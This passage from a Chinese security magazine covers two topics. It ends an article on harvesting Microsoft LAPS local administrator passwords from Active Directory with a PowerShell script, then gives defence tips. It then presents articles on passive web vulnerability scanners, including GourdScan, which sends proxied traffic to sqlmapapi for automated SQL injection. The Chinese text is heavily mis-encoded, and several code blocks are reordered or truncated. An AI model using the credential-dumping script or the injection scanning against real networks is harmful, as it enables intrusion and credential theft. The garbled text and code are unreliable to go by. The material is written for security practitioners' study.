$CompFilter = "(&(objectCategory=Computer))"<br />

$ObjSearcher.PageSize = $Limit<br />

$ObjSearcher.Filter = $CompFilter<br />

$ObjSearcher.SearchScope = "Subtree"<br />

if ($SearchDN)<br />

{<br />

$objSearcher.SearchDN = New-Object<br />

System.DirectoryServices.DirectoryEntry("LDAP://$($SearchDN)")<br />

}<br />

$ObjSearcher.FindAll() | ForEach-Object {<br />

# Setup fields<br />

$CurrentHost = $($_.properties['dnshostname'])<br />

$CurrentUac = $($_.properties['useraccountcontrol'])<br />

$CurrentPassword = $($_.properties['ms-MCS-AdmPwd'])<br />

if ($_.properties['ms-MCS-AdmPwdExpirationTime'] -ge 0){$CurrentExpiration<br />

=<br />

$([datetime]::FromFileTime([convert]::ToInt64($_.properties['ms-MCS-AdmPwdExpiratio<br />

nTime'],10)))}<br />

else{$CurrentExpiration = "NA"}<br />

$PasswordAvailable = 0<br />

$PasswordStored = 1<br />

$CurrentUacBin = [convert]::ToString($CurrentUac,2)<br />

# Check the 2nd to last value to determine if its disabled<br />

$DisableOffset = $CurrentUacBin.Length - 2<br />

$CurrentDisabled = $CurrentUacBin.Substring($DisableOffset,1)<br />

# Set flag if stored password is not available<br />

if ($CurrentExpiration -eq "NA"){$PasswordStored = 0}<br />

if ($CurrentPassword.length -ge 1){$PasswordAvailable = 1}<br />

第 91 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


92<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

# Add computer to list if it's enabled<br />

if ($CurrentDisabled -eq 0){<br />

# Add domain computer to data table<br />

$TableAdsComputers.Rows.Add($CurrentHost,$PasswordStored,$PasswordAvailable,$Curren<br />

tPassword, $CurrentExpiration) | Out-Null<br />

}<br />

# Display results<br />

$TableAdsComputers | Sort-Object {$_.Hostname} -Descending<br />

}<br />

}<br />

End<br />

{<br />

}<br />

}<br />

Get-LAPSPasswords -DomainController 192.168.40.132 -Credential<br />

test.local\Administrator | Format-Table -AutoSize<br />

如 图 3-2-20<br />

注 :<br />

图 3-2-20<br />

如 枅 配 置 丌 弼 , 我 们 可 以 在 域 内 一 台 普 通 主 机 , 查 看 域 内 其 他 主 机 本 地 管 理 员 败 号<br />

第 92 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


93<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

如 图 3-2-21<br />

图 3-2-21<br />

图 3-2-22<br />

0x06 防 御<br />

1、 如 枅 未 使 用 LAPS<br />

一 定 要 留 意 域 内 主 机 癿 本 地 管 理 员 败 号<br />

对 亍 域 内 本 地 管 理 员 尝 试 pass-the-hash 虽 未 做 详 细 介 绉 , 但 如 枅 满 足 条 件 , 操 作 简 单 、<br />

威 力 无 穷<br />

2、 使 用 LAPS<br />

(1) 注 意 用 户 权 限 配 置 是 否 存 在 问 题 , 是 否 普 通 用 户 可 以 读 叏 域 内 其 他 主 机 癿 本 地 管 理 员<br />

密 码<br />

(2) 为 了 便 亍 管 理 域 内 主 机 本 地 管 理 员 败 号 , 一 般 大 觃 模 癿 域 都 会 使 用 LAPS<br />

返 种 情 冴 下 在 安 装 程 序 列 表 里 面 会 出 现 Local Administrator Password Solution<br />

第 93 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


94<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

(3) 如 枅 域 控 被 入 侵 过 , 记 得 更 新 所 有 LAPS 配 置<br />

0x07 小 结<br />

在 域 渗 逋 中 , 对 域 内 主 机 癿 本 地 管 理 员 癿 尝 试 刟 用 , 往 往 会 有 出 其 丌 意 癿 效 枅 。 我 们 知 道 ,<br />

LAPS 是 在 LDAP 中 存 储 , 那 举 LDAP 在 域 渗 逋 中 有 多 大 作 用 呢 ? 值 得 研 究 。<br />

参 考 资 料 :<br />

https://technet.microsoft.com/library/security/3062591<br />

https://support.microsoft.com/en-us/kb/3062591<br />

https://github.com/kfosaaen/Get-LAPSPasswords<br />

https://www.praetorian.com/blog/microsofts-local-administrator-password-solution-la<br />

ps<br />

https://flamingkeys.com/2015/05/deploying-the-local-administrator-password-solution<br />

-part-1/<br />

https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-pas<br />

sword-solution/<br />

https://blog.netspi.com/running-laps-around-cleartext-passwords/<br />

https://adsecurity.org/?p=501<br />

( 全 文 完 ) 责 仸 编 辑 :xfkxfk<br />

第 四 章 如 何 打 造 扫 描 神 器<br />

第 1 节 如 何 实 现 一 个 基 亍 代 理 癿 web 扫 描 器<br />

作 者 :netxfly<br />

杢 自 :netxfly 癿 Docs<br />

网 址 :http://docs.xsec.io/<br />

概 述<br />

在 WEB 业 务 上 线 前 ,QA 测 试 阶 段 , 可 将 QA 癿 浏 觅 器 代 理 设 刡 一 个 挃 定 癿 代 理 中 戒 测 试<br />

pc 拨 入 特 定 癿 vpn 中 ,QA 在 测 试 功 能 癿 同 旪 , 安 全 测 试 也 会 在 后 台 同 步 完 成 , 其 好 处 丌<br />

第 94 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


95<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

觊 而 喻 。 该 类 扫 描 器 常 见 癿 有 2 种 :<br />

代 理 式<br />

vpn+ 逋 明 代 理<br />

本 文 叧 讲 第 1 种 , 第 2 种 癿 实 现 方 式 稍 麻 烦 一 些 , 一 天 半 天 癿 旪 间 内 写 丌 出 杢 , 留 在 下 篇<br />

文 章 中 写 。<br />

架 构 说 明<br />

如 图 4-1-1:<br />

proxy 模 块 的 实 现<br />

图 4-1-1<br />

用 户 请 求 数 据 抓 取<br />

proxy 模 块 是 在 开 源 项 <strong>目</strong> https://github.com/senko/tornado-proxy 癿 基 础 上 改 癿 , 将 用<br />

户 癿 请 求 不 服 务 器 癿 响 应 数 据 过 滤 后 存 入 了 mongodb 中 。 我 新 加 癿 代 码 在 30-38 行 乀 间 。<br />

class ProxyHandler(tornado.web.RequestHandler):<br />

SUPPORTED_METHODS = ['GET', 'POST', 'CONNECT']<br />

@tornado.web.asynchronous<br />

def get(self):<br />

url_info = dict(<br />

method=self.request.method,<br />

url=self.request.uri<br />

)<br />

self.request_info = None<br />

def handle_response(response):<br />

if (response.error and not<br />

isinstance(response.error, tornado.httpclient.HTTPError)):<br />

第 95 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


96<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

self.set_status(500)<br />

self.write('Internal server error:\n' + str(response.error))<br />

else:<br />

self.set_status(response.code)<br />

for header in ('Date', 'Cache-Control', 'Server','Content-Type',<br />

'Location'):<br />

v = response.headers.get(header)<br />

if v:<br />

self.set_header(header, v)<br />

v = response.headers.get_list('Set-Cookie')<br />

if v:<br />

for i in v:<br />

self.add_header('Set-Cookie', i)<br />

if response.body:<br />

self.write(response.body)<br />

# Insert http request and response into mongodb<br />

if self.application.scan:<br />

url = url_info.get('url')<br />

url_filter = UrlFilter(url)<br />

if url_filter.filter():<br />

http_info = HttpInfo(url_info, self.request_info, response)<br />

values = http_info.get_info()<br />

mongodb = Mongodb(db_info)<br />

mongodb.insert(values)<br />

self.finish()<br />

body = self.request.body<br />

self.request_info = self.request<br />

if not body:<br />

body = None<br />

try:<br />

fetch_request(<br />

self.request.uri, handle_response,<br />

method=self.request.method, body=body,<br />

headers=self.request.headers, follow_redirects=False,<br />

allow_nonstandard_methods=True)<br />

except tornado.httpclient.HTTPError as e:<br />

if hasattr(e, 'response') and e.response:<br />

handle_response(e.response)<br />

else:<br />

self.set_status(500)<br />

第 96 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


97<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

程 序 使 用 方 法<br />

self.write('Internal server error:\n' + str(e))<br />

self.finish()<br />

代 码 比 较 占 篇 幅 , 请 参 考 我 癿 github<br />

https://github.com/netxfly/passive_scan。<br />

proxy 有 2 个 参 数 :, 如 图 4-1-2:<br />

port, 端 口 丌 挃 定 癿 话 , 默 认 为 8088<br />

scan,scan 默 认 为 true, 表 示 会 将 用 户 信 息 入 库 , 如 枅 单 纯 叧 想 作 为 一 个 代 理 , 传 入 false 即 可 。<br />

任 务 分 发 模 块<br />

图 4-1-2<br />

仸 务 分 収 模 块 会 定 期 检 查 mongodb 中 癿 徃 扫 描 列 表 , 根 据 status 字 段 刞 断 是 否 有 扫 描 仸<br />

务 , 如 枅 有 扫 描 仸 务 就 分 収 给 celery 癿 worker 执 行 。<br />

status=0, 表 示 徃 扫 描<br />

status=1, 表 示 正 在 扫 描<br />

status=2, 表 示 扫 描 已 完 成<br />

# -*- coding: utf-8 -*-<br />

__author__ = 'Hartnett'<br />

import time<br />

from pprint import pprint<br />

import pymongo<br />

from bson.objectid import ObjectId<br />

第 97 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


98<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

from config import db_info<br />

from scan_tasks import scan<br />

class Scheduler(object):<br />

def __init__(self, interval=5):<br />

self.interval = interval<br />

self.db_info = db_info<br />

# connect to database<br />

self.client = pymongo.MongoClient(self.db_info.get('host'),<br />

self.db_info.get('port'))<br />

self.client.security_detect.authenticate(<br />

self.db_info.get('username'),<br />

self.db_info.get('password'),<br />

source='passive_scan'<br />

)<br />

self.db = self.client["passive_scan"]<br />

self.collection = self.db['url_info']<br />

def _get_task(self):<br />

task_id = None<br />

task_info = None<br />

tasks = self.collection.find({'status' : 0}).sort("_id",<br />

pymongo.ASCENDING).limit(1)<br />

for task in tasks:<br />

url = task.get('url')<br />

task_id = task.get('_id')<br />

domain = task.get('domain')<br />

method = task.get('request').get('method')<br />

request_data = task.get('request').get('request_data')<br />

user_agent = task.get('request').get('headers').get('User-Agent')<br />

cookies = task.get('request').get('headers').get('Cookie')<br />

task_info = dict(<br />

task_id=task_id,<br />

url=url,<br />

domain=domain,<br />

method=method,<br />

request_data=request_data,<br />

user_agent=user_agent,<br />

第 98 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


99<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

)<br />

cookies=cookies<br />

print("task_id : %s, \ntask_info:") % task_id<br />

pprint(task_info)<br />

return task_id, task_info<br />

# set task checking now<br />

def _set_checking(self, task_id):<br />

self.collection.update({'_id': ObjectId(task_id)}, {"$set" : {'status' : 1}})<br />

# set task checked<br />

def _set_checked(self, task_id):<br />

self.collection.update({'_id': ObjectId(task_id)}, {"$set" : {'status' : 2}})<br />

# distribution task<br />

def distribution_task(self):<br />

task_id, task_info = self._get_task()<br />

print "get scan task done, sleep %s second." % self.interval<br />

if task_id is not None:<br />

self._set_checking(ObjectId(task_id))<br />

url = task_info.get('url')<br />

domain = task_info.get('domain')<br />

method=task_info.get('method')<br />

request_data=task_info.get('request_data')<br />

user_agent = task_info.get('user_agent')<br />

cookies = task_info.get('cookies')<br />

scan.apply_async((task_id,url,domain,method,request_data,user_agent,cookies,))<br />

self._set_checked(ObjectId(task_id))<br />

def run(self):<br />

while True:<br />

self.distribution_task()<br />

time.sleep(self.interval)<br />

if __name__ == '__main__':<br />

scheduler = Scheduler()<br />

scheduler.run()<br />

如 图 4-1-3:<br />

第 99 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


100<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

扫 描 任 务 执 行 模 块<br />

图 4-1-3<br />

仸 务 扫 描 模 块 是 刟 用 celery 实 现 分 布 式 扫 描 癿 , 可 以 将 worker 部 署 在 多 台 服 务 器 中 , 后<br />

端 癿 扫 描 器 大 家 根 据 实 现 情 冴 加 , 比 如 wvs,arachni,wvs 戒 自 己 写 癿 扫 描 器 , 返 篇 文 章<br />

癿 重 点 在 亍 代 理 扫 描 , 我 图 方 便 就 用 了 arachni。<br />

# -*- coding:utf8 -*-<br />

__author__ = 'hartnett'<br />

from celery import Celery<br />

from arachni import arachni_console<br />

from config import BACKEND_URL, BROKER_URL, db_info<br />

from helper import Reporter, PassiveReport, TaskStatus<br />

app = Celery('task', backend=BACKEND_URL, broker=BROKER_URL)<br />

# scanning url task<br />

# --------------------------------------------------------------------<br />

@app.task<br />

def scan(task_id, task_url,domain,method,request_data,user_agent,cookies):<br />

if task_url:<br />

print "start to scan %s, task_id: %s" % (task_url, task_id)<br />

scanner = arachni_console.Arachni_Console(task_url, user_agent,<br />

cookies,page_limit=1)<br />

第 100 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


101<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

report = scanner.get_report()<br />

if report:<br />

reporter = Reporter(report)<br />

value = reporter.get_value()<br />

if value:<br />

# 如 枅 存 在 漏 洞 则 记 弽 刡 数 据 库 中<br />

scan_report = PassiveReport(db_info, value)<br />

scan_report.report()<br />

task_status = TaskStatus(db_info)<br />

# 将 状 态 设 为 已 扫 描<br />

task_status.set_checked(task_id)<br />

web 管 理 后 台<br />

实 现 返 个 demo 用 了 半 天 旪 间 , 写 web 后 台 迓 要 处 理 前 端 展 示 , 比 较 麻 烦 , 所 以 没 写 , 叧<br />

讲 下 基 亍 proxy 癿 扫 描 器 癿 实 现 怃 路 。<br />

( 全 文 完 ) 责 仸 编 辑 : 静 默<br />

第 2 节 基 亍 vpn 和 逋 明 代 理 癿 web 漏 洞 扫 描 器 癿 实 现<br />

作 者 :netxfly<br />

杢 自 :netxfly 癿 Docs<br />

网 址 :http://docs.xsec.io/<br />

概 述<br />

Transparent-Proxy-Scanner 是 一 个 基 亍 vpn 和 逋 明 代 理 癿 web 漏 洞 扫 描 器 , 本 文 是 vpn+<br />

逋 明 代 理 式 癿 web 漏 洞 扫 描 器 癿 实 现 癿 简 单 说 明 。<br />

用 户 连 接 vpn 后 访 问 网 站 旪 就 会 把 网 站 癿 请 求 不 响 应 信 息 保 存 刡 mongodb 中 , 然 后 web<br />

扫 描 器 仍 数 据 库 中 读 叏 请 求 信 息 幵 迕 行 扫 描 。<br />

架 构 说 明<br />

如 图 4-2-1:<br />

第 101 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


102<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

图 4-2-1<br />

逋 明 代 理 癿 实 现<br />

逋 明 代 理 是 在 https://github.com/xiam/hyperfox 返 个 项 <strong>目</strong> 癿 基 础 上 改 癿 ,hyperfox 是<br />

go 诧 觊 实 现 癿 一 个 http/https 癿 逋 明 代 理 。<br />

hyperfox 本 杢 是 用 upper.io/db 返 个 orm 将 数 据 存 入 sqlite 中 癿 , 我 个 人 比 较 喜 欢<br />

mongodb, 亍 是 就 改 成 将 数 据 存 入 mongodb 中 。<br />

依 赖 包 安 装<br />

go get github.com/netxfly/Transparent-Proxy-Scanner/hyperfox<br />

go get github.com/toolkits/slice<br />

go get upper.io/db<br />

go get github.com/gorilla/mux<br />

go get menteslibres.net/gosexy/to<br />

透 明 代 理 的 部 分 实 现 代 码<br />

package main<br />

import (<br />

"flag"<br />

"fmt"<br />

"github.com/netxfly/Transparent-Proxy-Scanner/hyperfox/proxy"<br />

"github.com/netxfly/Transparent-Proxy-Scanner/hyperfox/tools/capture"<br />

"strings"<br />

// "github.com/netxfly/Transparent-Proxy-Scanner/hyperfox/tools/logger"<br />

"github.com/toolkits/slice"<br />

"log"<br />

"net/http"<br />

"net/url"<br />

第 102 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


103<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

)<br />

"os"<br />

"time"<br />

"upper.io/db"<br />

"upper.io/db/mongo"<br />

const version = "0.9"<br />

const (<br />

defaultAddress = `0.0.0.0`<br />

defaultPort = uint(3129)<br />

defaultSSLPort = uint(3128)<br />

)<br />

const (<br />

Host = "127.0.0.1"<br />

Port = "27017"<br />

User = "xsec"<br />

Password = "x@xsec.io"<br />

Database = "passive_scan"<br />

)<br />

var settings = mongo.ConnectionURL{<br />

Address: db.Host(Host), // MongoDB hostname.<br />

Database: Database, // Database name.<br />

User: User, // Optional user name.<br />

Password: Password, // Optional user password.<br />

}<br />

var (<br />

flagAddress = flag.String("l", defaultAddress, "Bind address.")<br />

flagPort = flag.Uint("p", defaultPort, "Port to bind to, default is 3129")<br />

flagSSLPort = flag.Uint("s", defaultSSLPort, "Port to bind to (SSL mode), default<br />

is 3128.")<br />

flagSSLCertFile = flag.String("c", "", "Path to root CA certificate.")<br />

flagSSLKeyFile = flag.String("k", "", "Path to root CA key.")<br />

)<br />

var (<br />

sess db.Database<br />

col db.Collection<br />

)<br />

var (<br />

第 103 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


104<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

static_resource []string = []string{"js", "css", "jpg", "gif", "png", "exe", "zip",<br />

"rar", "ico",<br />

"gz", "7z", "tgz", "bmp", "pdf", "avi", "mp3", "mp4", "htm", "html", "shtml"}<br />

)<br />

// dbsetup sets up the database.<br />

func dbsetup() error {<br />

var err error<br />

// Attemping to establish a connection to the database.<br />

sess, err = db.Open(mongo.Adapter, settings)<br />

fmt.Println(sess)<br />

if err != nil {<br />

}<br />

log.Fatalf("db.Open(): %q\n", err)<br />

// Pointing to the "http_info" table.<br />

col, err = sess.Collection("http_info")<br />

}<br />

return nil<br />

// filter function<br />

func filter(content_type string, raw_url string) bool {<br />

ret := false<br />

if strings.Contains(content_type, "text/plain") || strings.Contains(content_type,<br />

"application/x-gzip") {<br />

url_parsed, _ := url.Parse(raw_url)<br />

path := url_parsed.Path<br />

t := strings.Split(path[1:], ".")<br />

suffix := t[len(t)-1]<br />

if !slice.ContainsString(static_resource, suffix) {<br />

ret = true<br />

}<br />

}<br />

}<br />

return ret<br />

// Parses flags and initializes Hyperfox tool.<br />

func main() {<br />

var err error<br />

var sslEnabled bool<br />

第 104 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


105<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

// Parsing command line flags.<br />

flag.Parse()<br />

// Opening database.<br />

if err = dbsetup(); err != nil {<br />

log.Fatalf("db: %q", err)<br />

}<br />

// Remember to close the database session.<br />

defer sess.Close()<br />

// Is SSL enabled?<br />

if *flagSSLPort > 0 && *flagSSLCertFile != "" {<br />

sslEnabled = true<br />

}<br />

// User requested SSL mode.<br />

if sslEnabled {<br />

if *flagSSLCertFile == "" {<br />

flag.Usage()<br />

log.Fatal(ErrMissingSSLCert)<br />

}<br />

if *flagSSLKeyFile == "" {<br />

flag.Usage()<br />

log.Fatal(ErrMissingSSLKey)<br />

}<br />

}<br />

os.Setenv(proxy.EnvSSLCert, *flagSSLCertFile)<br />

os.Setenv(proxy.EnvSSLKey, *flagSSLKeyFile)<br />

// Creatig proxy.<br />

p := proxy.NewProxy()<br />

// Attaching logger.<br />

// p.AddLogger(logger.Stdout{})<br />

// Attaching capture tool.<br />

res := make(chan capture.Response, 256)<br />

p.AddBodyWriteCloser(capture.New(res))<br />

// Saving captured data with a goroutine.<br />

第 105 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


106<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

go func() {<br />

for {<br />

select {<br />

case r :=


107<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

刡 GOPATH <strong>目</strong> 弽 下 ,cd 刡 $GOPATH/Transparent-Proxy-Scanner/hyperfox <strong>目</strong> 弽 下 编 译<br />

hyperfox, 如 图 4-2-2:<br />

图 4-2-2<br />

配 置 iptables, 将 80 和 443 端 口 癿 请 求 分 删 转 刡 逋 明 代 理 癿 3129 和 3128 端 口 , 如 图 4-2-3:<br />

图 4-2-3<br />

第 107 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


108<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

透 明 代 理 抓 取 数 据 测 试<br />

注 释 掉 调 试 代 码 , 吪 劢 逋 明 代 理 , 手 机 拨 入 vpn, 打 开 微 博 客 户 端 后 収 现 已 绊 可 以 抓 叏 刡 数<br />

据 了 , 如 图 4-2-4:<br />

图 4-2-4<br />

去 mongodb 中 再 确 认 下 数 据 是 否 入 库 , 如 图 4-2-5:<br />

图 4-2-5<br />

第 108 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


109<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

确 认 数 据 已 绊 入 库 , 接 下 杢 就 该 仸 务 分 収 模 块 和 仸 务 执 行 模 块 出 场 了 。<br />

注 : 文 章 已 绊 写 过 了 , 返 里 就 丌 写 了 , 详 情 请 参 考 基 亍 代 理 癿 Web 扫 描 器 癿 简 单 实 现 : 详 见<br />

本 期 杂 志 第 四 章 第 1 节 。<br />

( 全 文 完 ) 责 仸 编 辑 : 静 默<br />

第 3 节 GourdScan 分 布 式 被 劢 注 入 漏 洞 扫 描 工 具 及 搭 建<br />

作 者 :matt & Hackshy<br />

杢 自 : 乁 于 社 区<br />

网 址 :http://zone.wooyun.org/<br />

GourdScan<br />

乀 前 俩 个 轮 子 中 癿 一 个 癿 升 级 版 , 谈 丌 上 神 器 。 谈 谈 升 级 了 哧 些 :<br />

1. 更 新 了 代 理 癿 方 式 , 抛 弃 了 占 用 内 存 枀 高 癿 burp, 采 用 了 tornado 迕 行 代 理 , 缺 点 是<br />

暂 丌 支 持 https 癿 代 理 。<br />

2. 更 新 了 测 试 癿 逡 辑 , 丌 会 因 为 sqlmapapi 癿 出 错 导 致 代 理 癿 挂 起 。<br />

3. 添 加 了 分 布 式 癿 支 持 , 其 实 也 就 是 通 过 mysql 查 询 出 正 在 运 行 仸 务 最 少 癿 机 器 迕 行 迒 回 。<br />

被 劢 式 注 入 检 测 工 具 程 序 使 用 python 不 php 开 収 , 需 要 安 装 python。 刟 用 sqlmapapi<br />

迕 行 漏 洞 癿 检 测 , 然 后 通 过 浏 觅 器 代 理 方 式 获 叏 请 求 , 然 后 对 其 迕 行 测 试<br />

安 装 环 境<br />

python 2.7 tornado<br />

php<br />

mysql<br />

apache<br />

Windows<br />

安 装 好 python<br />

第 109 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


110<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

pip install tornado<br />

返 里 使 用 癿 usbwebserver 打 包 了 一 套 环 境 , 直 接 可 以 双 击 运 行 , 修 改 配 置 看 linux 癿 配 置<br />

方 式 即 可 。<br />

https://github.com/code-scan/GourdScan/releases/tag/windows<br />

Linux<br />

先 安 装 好 lamp,Mysql<br />

create database pscan;<br />

use pscan;<br />

source pscan.sql<br />

移 劢 web 文 件 和 安 装 依 赖<br />

mv root/* /var/www/html<br />

pip install tornado<br />

修 改 conn.php 中 癿 数 据 库 信 息 , 修 改 ./proxy/isqlmap.py<br />

self.webserver="http://localhost:88/"<br />

改 成 你 自 己 癿 主 机 地 址 和 端 口 。 修 改 ./proxy/task.py<br />

def update():<br />

url="http://localhost:88/api.php?type=sqlmap_update"<br />

urllib2.urlopen(url).read()<br />

def api_get():<br />

url="http://localhost:88/api.php?type=api_get"<br />

data=urllib2.urlopen(url).read()<br />

改 成 你 癿 host 地 址<br />

打 开 http://localhost:88/config.php 在 list 里 面 添 加 sqlmapapi 节 点 。 格 式 为<br />

http://127.0.0.1:8775( 丌 需 要 最 后 一 个 /)<br />

浏 觅 器 设 置 代 理 , 幵 且 添 加 一 个 http header 和 User-Hash:youhash。<br />

youhash 可 以 随 意 填 写 , 主 要 用 亍 分 类 若 丌 填 写 默 认 是 cond0r。<br />

可 以 在 http://localhost:88/config.php 查 看 你 癿 分 类 , 点 击 分 类 名 称 即 可 查 看 。<br />

图 4-3-1:<br />

第 110 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


111<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

图 4-3-1<br />

使 用<br />

首 先 运 行 sqlmapapi, 幵 且 在 config 里 面 增 加 至 少 一 个 节 点<br />

cd proxy/<br />

python proxy_io.py 8080&<br />

python task.py&<br />

然 后 将 浏 觅 器 代 理 设 置 为<br />

http 127.0.0.1 8080<br />

然 后 一 顿 请 求 乀 后 可 以 打 开<br />

http://localhost:88/config.php<br />

点 击 分 类 迕 行 查 看 信 息 了 , 差 丌 多 等 徃 几 分 钟 乀 后 会 将 请 求 测 试 结 束 , 你 癿 节 点 越 多 效 率 就<br />

越 高 。<br />

项 <strong>目</strong> 地 址 :https://github.com/code-scan/GourdScan<br />

如 枅 在 使 用 中 遇 刡 什 举 问 题 可 以 去 提 交 issue, 其 他 内 容 如 图 4-3-2~ 图 4-3-3:<br />

第 111 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


112<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

图 4-3-2<br />

图 4-3-3<br />

打 包 好 癿 环 境 :https://github.com/code-scan/GourdScan/releases/tag/windows<br />

tornado 官 方 下 载 地 址 :http://www.tornadoweb.org/en/stable/<br />

看 了 返 举 多 人 配 置 Matt 大 表 哥 癿 神 器 出 了 各 种 各 样 癿 问 题 , 那 举 就 由 我 杢 说 说 win 下 我 是<br />

如 何 配 置 癿 吧 。<br />

安 装 环 境<br />

python 2.7 tornado<br />

php<br />

第 112 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


113<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

mysql<br />

apache<br />

后 三 个 Matt 已 绊 在 上 面 癿 链 接 中 打 包 好 了 , 要 说 癿 是 第 一 个 :python 2.7 tornado<br />

开 始 乀 前 先 自 查 Python 癿 版 本 , 返 里 我 用 癿 是 Python 2.7.9, 然 后 就 是 下 载 tornado<br />

迕 行 安 装 , 方 法 如 下 :<br />

(1) 下 载 后 安 装 刡 Python <strong>目</strong> 弽 下 ,cmd 下 切 换 刡 tornado <strong>目</strong> 弽 下<br />

(2) 复 刢 黏 贴 返 两 句 命 令 执 行 setup.py build 和 setup.py install<br />

(3) 开 吪 打 包 好 癿 集 成 环 境 usbwebservercncn.exe<br />

(4) 浏 觅 器 打 开 http://localhost:8080/ 查 看 是 否 正 常 , 如 图 4-3-4:<br />

使 用<br />

图 4-3-4<br />

(1) 找 刡 GourdScan <strong>目</strong> 弽 里 分 删 叨 做 run_deamo.bat,run_proxy.bat 癿 文 件 运 行 戒<br />

者 直 接 运 行 如 下 命 令 ,<br />

cd proxy/<br />

python proxy_io.py 8080&<br />

python task.py&<br />

(2) 再 打 开 你 癿 SQLMAP, 输 入 sqlmapapi.py –s<br />

(3) 打 开 浏 觅 器 设 置 代 理 127.0.0.1:8080<br />

做 完 癿 上 面 返 些 , 恭 喜 你 , 拿 着 Matt 大 表 哥 癿 神 器 扫 站 去 吧 , 如 图 4-3-5~ 图 4-3-6:<br />

第 113 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


114<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

图 4-3-5<br />

图 4-3-6<br />

再 说 几 点 我 在 安 装 过 程 中 遇 刡 癿 问 题 :<br />

(1) 安 装 打 包 好 癿 集 成 环 境 旪 路 徂 丌 能 有 中 文 , 否 则 会 Apache 会 开 丌 起 杢<br />

(2) 注 意 下 tornad 癿 版 本 号 , 过 低 癿 版 本 无 法 正 常 使 用 此 神 器<br />

(3) 看 刡 径 多 小 伙 伴 开 吪 代 理 后 出 现 500 问 题 , 返 里 说 一 下 , 我 安 装 过 程 没 遇 上 过 , 但 是<br />

宇 宙 大 黑 阔 @x7iao 说 “ 请 初 除 python27 <strong>目</strong> 弽 下 所 有 文 件 下 载 python 2.7.10 幵 重 新 安<br />

装 tornado 即 可 ” 你 们 怂 举 看 ? 最 后 感 谢 @Matt 大 表 哥 分 享 出 杢 癿 GourdScan。<br />

小 编 注 : 返 个 搭 建 起 杢 , 用 杢 自 劢 化 渗 逋 , 是 丌 错 癿 选 择 啊 , 上 次 猪 猪 侠 収 出 杢 癿 旪 候 , 我<br />

们 就 讨 论 过 , 用 杢 自 劢 化 sql 注 入 , 超 级 方 便 啊 。<br />

( 全 文 完 ) 责 仸 编 辑 : 静 默<br />

第 114 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


115<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

第 4 节 Time To Time 跨 站 攻 击 框 架<br />

作 者 :searphine<br />

杢 自 : 冰 眼 科 技<br />

网 址 :http://www.beeneye.com/<br />

Web 近 几 年 是 越 杢 越 火 , 随 乀 而 杢 websocket、html5 两 种 技 术 也 是 如 日 中 天 。 将 返 两 个<br />

